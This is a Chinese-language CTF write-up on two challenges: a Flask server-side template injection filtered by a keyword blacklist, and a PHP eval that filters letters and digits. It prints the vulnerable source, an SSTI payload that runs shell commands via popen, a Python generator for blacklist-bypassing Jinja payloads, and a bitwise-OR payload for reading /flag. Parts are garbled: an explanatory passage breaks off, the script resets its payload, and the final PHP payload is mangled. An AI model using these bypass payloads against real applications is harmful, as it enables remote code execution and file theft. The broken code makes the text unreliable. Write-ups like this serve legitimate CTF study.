注入点在邮箱注册那里,无法复现了,提一下
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from flask import Flask, render_template, render_template_string, redirect, request, session, abort, send_from_directory
app = Flask(__name__)
@app.route("/")
def index():
def safe_jinja(s):
blacklist = ['class', 'attr', 'mro', 'base',
'request', 'session', '+', 'add', 'chr', 'ord', 'redirect', 'url_for', 'config', 'builtins', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', '[', ']', '\'', '"', '{}']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag = False
break
return flag
if not request.args.get('name'):
return open(__file__).read()
elif safe_jinja(request.args.get('name')):
name = request.args.get('name')
else:
name = 'wendell'
template = '''
<div class="center-content">
<p>Hello, %s</p>
</div>
<!--flag in /flag-->
<!--python3.8-->
''' % (name)
return render_template_string(template)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000)
代码倒是还行,审计没啥难度。只有一个根路由,ssti模板注入,大概意思就是paylaod里不能有黑名单的字符串等,否则会报错,成功bypass后获得flag。那么问题就来了,几乎过滤了常见的ssti所有字符串。如何bypass呢?
{{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}
上面是ssti最基本的payload,基于此进行bypass,这里过滤了引号,request,chr,subclasses,加号,导致关键字被过滤了,无法通过拼接或者转义其中任何一种方式构造payload,所以我在这里思路断了,在网上也没搜索到可以替换subclasses的方法,看y1ng师傅的wp,y1ng,yyds!
我发现真的吐血了,原题,为什么我比赛的时候搜不到这题,写wp的时候一搜就搜到了。CBCTF easyflask
我们需要知道的知识:
一般而言,是对函数/方法/模块所实现功能的简单描述。
2.如何不使用上面的黑名单构造payload?
使用上面一种方法即可构造,这里我还没有琢磨透,找个时间仔细琢磨下payload的构造把
这里直接贴脚本了
payload = '{%set pc = g|lower|list|first|urlencode|first%}{%set c=dict(c=1).keys()|reverse|first%}{%set udl=dict(a=pc,c=c).values()|join %}'
payload = ''
def get_alp(alp, goal):
num = ord(alp)
result = '{%set {goal}=dict(a={goal},c=udl%({num})).values()|join %}'.replace(
'{num}', str(num)).replace('{goal}', goal)
return result
def get_word(des, goal):
# goal = 'ds2'
# des = '__globals__'
result = ''
for i in des:
result += (get_alp(i, goal))
return result
def main():
# poc = "url_for.__globals__.__builtins__.open('/flag').read()"
i = 0
while(1):
text = input('>')
print('i'+str(i), end=':')
print(get_word(text, 'i'+str(i)))
i += 1
main()
<?php
error_reporting(0);
show_source(__FILE__);
$code=$_POST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','@','\~','\^','\[','\]','\&','\?','<','\>','\*','1','2','3','4','5','6','7','8','9','0');
//This blacklist is so stupid.
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $code)) {
die('you are not smart');
}
}
eval("echo($code)");
?>
过滤了数字,字母,异或,取反的rce,只要最后能执行eval里的语句即可。这两道题过滤的是真狠,几乎所有常见的bypass都过滤了
这里看到有两种思路,y1ng师傅的或者是|按位或运算符
其实按位或运算的思想挺简单,就是当时没往这里想,首先看看,反引号没有被禁,那么我们就用反引号构造
payload的有很多
挑一个readfile(/flag)
这里就用反引号的二进制位与payload的二进制位对比,得出最后的payload:
('````````')|' ')('/````'|'/'))//readfile(/flag)
寻找新的运算符构造payload
手机扫一扫
移动阅读更方便
你可能感兴趣的文章